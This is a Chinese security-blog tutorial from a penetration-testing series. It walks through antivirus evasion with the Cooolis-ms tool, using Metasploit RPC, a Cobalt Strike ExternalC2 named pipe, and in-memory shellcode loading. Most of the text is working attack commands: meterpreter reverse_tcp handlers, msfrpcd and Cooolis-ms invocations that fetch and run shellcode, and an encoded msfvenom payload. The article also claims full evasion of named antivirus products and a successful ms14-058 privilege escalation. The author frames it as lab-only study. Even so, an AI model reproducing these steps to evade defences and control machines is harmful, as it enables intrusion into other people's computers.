freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基免杀篇:C2、RPC、加载内存三种方式全免杀
2021-02-07 22:49:53

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

内网渗透的后渗透阶段过程中,最主要的问题就是免杀,如果服务器安装了杀软,上传EXP进行提权和隧道工具都会受到影响,对于CS/MSF两大内网维持权限等工具可以使用加载shellcode的方式进行免杀提权,但是一般的免杀都要涉及到常用的工具或者修改源码、修改特征混淆等方式进行处理才能达到免杀效果,这种处理不但繁琐而且不具有通用性,开发一种通用性强的工具来进行免杀是非常必要的。

接下来将会介绍静态免杀的方法和思路,包含创建MSF-RPC服务端使用VirtualAlloc Windows API 向操作系统申请内存空间执行shellcode,还对ExternalC2创建命名通道,直接连接服务端免杀过程,以及进行内存加载分离上线C语言shellcode的过程,最后还会分析底层的一些源码原理和简单的分析。

二、环境介绍

1608213735_5fdb64e7aa0655a649f8f.png!small?1608213737710

黑客(攻击者)

IP:192.168.253.8

系统:kali.2020.4

Kali系统是黑客用于制作生成payload的环境。

VPS服务器:

IP:192.168.253.8

此次环境将使用kali2020.4进行模拟VPS服务器开启CS的./teamserver服务。

办公区域:

系统:windwos 10

IP:192.168.253.17

存在:360、360杀毒、火绒、deferencer杀软检测。

目前黑客通过kali系统进行攻击行为,通过钓鱼获得了对方的权限后,发现对方电脑上存在360、360杀毒、火绒、deferencer直接被杀软进行了查杀,无法进行反弹shell获得权限,如今将演示利用ExternalC2自创管道进行C2通信和MSF-RPC进行API免杀,以及内存加载免杀演示并控制对方的过程。

三、环境部署

1612709538_601ffea2c2fe2dd5d1401.png!small?1612709539221

https://github.com/Rvn0xsy/Cooolis-ms/releases/tag/refs%2Fheads%2Fmaster

只需要将该工具下载到本地即可,最后会对源码进行分析和拓展思路。

四、免杀演示

1、MSF Docker免杀

首先作者搭建好了Docker,我们只需要镜像过来,作为渗透过程中一个方便的容器。

1612709548_601ffeacbb287102e94f4.png!small?1612709552942

proxychains git clone https://github.com/Rvn0xsy/Cooolis-ms.git

下载源码到kali本地。
1612709554_601ffeb24047724f982fe.png!small?1612709556628

git pull

查看已经是最新的版本。

1612709560_601ffeb8aefdb0ca0a043.png!small?1612709564820

docker-compose up -d

进入docker文件夹,将docker镜像,等待几分钟完成。

1612709566_601ffebe70429536e4f29.png!small?1612709568712

docker-compose config
docker-compose ps

可发现已经成功镜像后,并开启了8899端口服务,类似于一个服务端。

1612709572_601ffec48d4c1587df128.png!small?1612709575871

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.253.8; set lport 8876; exploit -j; "

这里打开MSF监听,地址为本地IP,端口自定义即可。(为了方便我在本地部署)
1612709580_601ffecce90cefee5b26b.png!small?1612709596953

Cooolis-ms.exe metasploit -p windows/x64/meterpreter/reverse_tcp -o LHOST=192.168.253.8,LPORT=8876,Format=dll -H 192.168.253.8 -P 8899

可看到执行命令后,通过Cooolis轻量级工具自动生成msf的shellcode,而不需要繁琐的在msf环境下进行生成,Cooolis并且支持所有的payload模块,执行后四件套杀软都未报毒和阻碍。

1612709590_601ffed6d8af0a02c92db.png!small?1612709596953
可看到成功上线,并且进行正常交互,并未被杀软阻碍,达到了全免杀的效果。

1612709599_601ffedf875adcab7ad55.png!small?1612709609239
该执行的是shellcode加载内存Format=dll上线的,上线的是rundll32.ex程序,该原理我简单讲解下:

1. 客户端执行Cooolis.exe运行后,会向8899的docker服务端取回对应的木块shellcode。 2. 当docker server接收到请求后,会调用内置的API Method,然后登录到MSF监听的本地端。 3. 最后本地端会把生成好的shellcode回传,最终到达客户端,上线console(监听上线)

其中可看到客户端和docker server是分离的,客户端和监听端也是分离的,docker server和监听端也是分离的,三者都可以部署在三台服务设备上,但原理是客户端得经过docker在找到监听端才可上线成功,其中运用了dll内存加载,中间的dll内存原理是把shellcode通过tcp请求,使用API获取赋值到内存缓存数组,动态分配内存执行shellcode达到免杀的效果。

2、MSF RPC免杀

经过作者搭建好的docker server可能不太好理解原理,那么接下来我们利用msfrpcd搭建自己的服务端server进行演示API建立的过程达到免杀。

1)源码部署

1612709616_601ffef06129c16597b13.png!small?1612709623453

pip3 install -r requirements.txt

首先需要下载该server.py匹配模块,该模块主要配合Metasploit的RPC服务接口手册写的。

2)开启msfrpc-server

1612709624_601ffef8adf7952ec1906.png!small?1612709628008

msfrpcd -U msf -P msf -u /api/1.0/

创建一个msfrpc服务,-P参数后面指定连接到的RPC服务需要提供的口令,-U参数指定连接所需输入的用户名,未填写IP是默认为127.0.0.1。

如果MSF-RPC搭建在另外的服务器上,在最后添加对应的IP即可。

3)开启本地服务

1612709630_601ffefe89f1924123421.png!small?1612709634256

python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 6666 -S 192.168.253.8

可看到这需要联动msfrpc-server,-U和-P参数可自行对应修改,成功创建开启server。

4)目标机器启动链接RPC服务:
1612709637_601fff05158b06dff10af.png!small?1612709661268

Cooolis-ms.exe metasploit -p windows/x64/meterpreter/reverse_tcp -o LHOST=192.168.253.8,LPORT=5555,Format=dll -H 192.168.253.8 -P 6666

可看到回显内容是:

PAYLOAD: windows/x64/meterpreter/reverse_tcp, OPTIONS: {'LHOST': '192.168.253.8', 'LPORT': '5555', 'Format': 'dll'}

当启用后,图中可清晰的查看到是经过之前msfrpc搭建的API,然后利用server.py源码中(后面分析)内存和线程注入空的内存空间传输payload,过程执行回显了。

执行成功后回显,客户端存在四件套杀软的情况下,还是没进行阻碍的。

5)开启MSF本地监听:
1612709647_601fff0f0ef240210650f.png!small?1612709674052

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.253.8; set lport 5555; set Format dll; exploit -j; "

开启本地监听,该监听可根据实际情况自行更改。

6)成功控制

1612709655_601fff171808b39d7eed2.png!small?1612709674158
成功交互控制客户端电脑,杀软并未查杀,该方法原理和docker server一致,只是利用了msfrpc自搭了服务端进行payload内存空间分离,达到了免杀的效果。

3、ExternalC2免杀

ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提 供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。简单说就是用户可以开发自己的控制器(服务端)和客户端(被控端)而不是直接使用CS自己的那套。

这里的原理很简单,没有在服务端和客户端中间执行C2 Path,而是直接创建了简单的named pipe命名管道进行C2通信,希望作者后期能植入C2域前置原理。

1612709671_601fff27053d8f4f2c10b.png!small?1612709674158

根据图中提示,选择payload为External C2来生成监听器。
注意:如果非本机测试使用,不要勾选Bind to localhost only。

1612709676_601fff2cb6fac3a97a71c.png!small?1612709684210

Cooolis-ms.exe cobaltstrike -H 192.168.1.10 -P 3322

经过Cooolis-ms.exe执行这段代码,杀软并未阻碍。

1612709687_601fff373471e7e4a5614.png!small?1612709688989
成功上线,可看到last延时是无延时状态的,不需要进行sleep。

1612709693_601fff3d9135d87ca21a9.png!small?1612709696819
直接ms14-058也是成功提权的,火绒等杀软并未阻碍,成功免杀控制客户端。

这里来讲讲原理,Cooolis-ms源码是按照Cobalt Strike进行编写的:
1612709700_601fff441d121212511bd.png!small?1612709702151
这是官方给的解释,通过如图知道了数据包是以毫秒无延迟传输的:

1. 发送命令:CS服务端——>第三方服务端——>第三方客户端——>SMB beacon 2. 返回结果:SMB beacon——>第三方服务端——>第三方客户端——>CS服务端

通过理解官网的原理发现,C2是需要第三方服务端进行的,这里并未设置C2 Path原理代码,只是一个简单原理链接了服务端的C2进行交互,那么这种情况杀软应该是百分百查杀的,这里很奇怪的是为什么杀软并未查杀...

经过晚上测试,发现杀软是果断动态查杀了...但是该思路ExternalC2源码在CS原作者已经提供,可以在此基础上拓展即可。

4、C内存加载免杀

首先我们了解下shellcode加载器的工作原理:

1. Shellcode是代码本身

2. 加载器是具备读取代码的程序

3. 加载器执行后,操作系统会创建一个进程与一个线程

4. 第一个线程用于读取代码(Shellcode)并创建第二个线程,将线程执行的第一条指令指向代码(Shellcode)

这里参考了倾旋大佬,也感谢倾旋大佬的知识分享。

简单的需要知道可执行的应用程序文件,都遵循着一种格式,Linux操作系统是ELF、Windows操作系统PE。而这种格式又包含了可执行的应用程序、动态链接库等等,如Windows下的.exe、.dll。

而这些文件,其中都有一块空间用于保存程序的代码,也就是指令集,操作系统若想要执行一个文件,就要先将文件加载到内存,并分配相应的虚拟地址空间,创建一个进程和线程,线程再去执行程序的代码。

那么内存加载就是将shellcode通过VirtualAlloc内存操作将payload放入到内存空间进行隐藏执行的过程。开始!

1)MSF-C免杀
1612709709_601fff4dce6b008f386f1.png!small?1612709714849

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.253.8 lport=8876 -f c

创建msfvenom的C语言payload。

1612709720_601fff58f2b5fb8417641.png!small?1612709742101

Cooolis-ms.exe shellcode -f 2.txt

将其中的shellcode十六进制复制出来放入txt文本中,并执行Cooolis将shellcode加载入内存并运行。

1612709726_601fff5e03675004c737f.png!small?1612709742102
可看到在监听端成功上线,并控制客户端电脑,交互后并未终端,达到了全免杀效果。

2)CS-C免杀

1612709737_601fff690558664fae677.png!small?1612709753022
简单了解该原理后,继续在Cobalt Strike生成C的payload.c后门C语言文件。

1612709744_601fff70c516162882caa.png!small?1612709753022
然后将其shellcode复制到txt文本。

1612709753_601fff79bee70c1a4408b.png!small?1612709777704

Cooolis-ms.exe shellcode -f 1.txt

执行后成功上线并控制交互,也是全免杀的状态。

五、源码分析

1、ExternalC2文件

1612709765_601fff8552f801a432d65.png!small?1612709802713
分析Cooolis-ExternalC2.cpp源码文件可发现,的确自建了命名管道,这段代码意思是将客户端的交互信息复制到命名管道中,简单的对CS作者公布的源码进行了简单的修改和缩减。

2、Http.cpp文件

1612709772_601fff8c3d2e35933d770.png!small?16127098070581612710000_602000700e31f766525e3.png!small?1612710007204
可看到每段都有详细的中文解释,这里就是简单的对HTTP流量交互进行内存加载入空间后,来回反复经过内存空间调用的达到免杀的过程。

3、msf.cpp文件

1612709784_601fff98b7d0743677503.png!small?1612709831488

msf.cpp文件主要是对于PE和内存出入阶段和MSF工具平台进行交互的过程,挺固定。

4、 Reflective.cpp文件

1612709790_601fff9e33c128550baa6.png!small?16127098314881612710017_60200081c33b13f8dbaea.png!small?1612710033108这里循环了几次dll开始进入内存空间加载的过程。
1612710024_60200088da88bfccbfbcf.png!small?1612710033108
将对内存中的数组、指针组、序号数等等进行导入并解析最后我没截图了,就是将偏移量移动后创建线程进行调用执行的过程。

5、shellcode.cpp文件

1612710046_6020009ed4271dab7ca27.png!small?1612710063556这里主要是VirtualAlloc加载shellcode的源码过程。

6、MemoryModule.cpp文件

1612710052_602000a43332c13450614.png!small?1612710063556
MemoryModule.cpp文件是提交内存块并从dll中复制数据,确认区域内存大小,将其释放等等过程,不可或缺的核心部分。

7、source.cpp文件

1612710069_602000b529fad37aff214.png!small?1612710077063source.cpp文件也是生成exe的核心调用文件,关联了所有核心的功能cpp源码文件。

六、总结

经过部署环境和演示了ExternalC2、MSF-RPC自建服务、C内存加载的免杀过程,其中截图都是可达到全免杀的效果,原理也是用了VirtualAlloc加载shellcode、建立RPC分离、C2命名通道建立等等原理进行达到免杀的过程,每个技术都进行了详细的讲解,思路第一,方法第二,在原达到免杀的思路原理上还可以进行拓展!

抓住核心该篇章是地基篇,高级篇在后期会出,所以在地基篇中只带大家简单粗略的熟悉底层的一些源码的原理,并不会在源码的基础上带大家去写自己的工具和增添修改源码进行更高级的免杀,给大家的是个思路和方法,不会特别难,加油。

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# RPC # C2
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录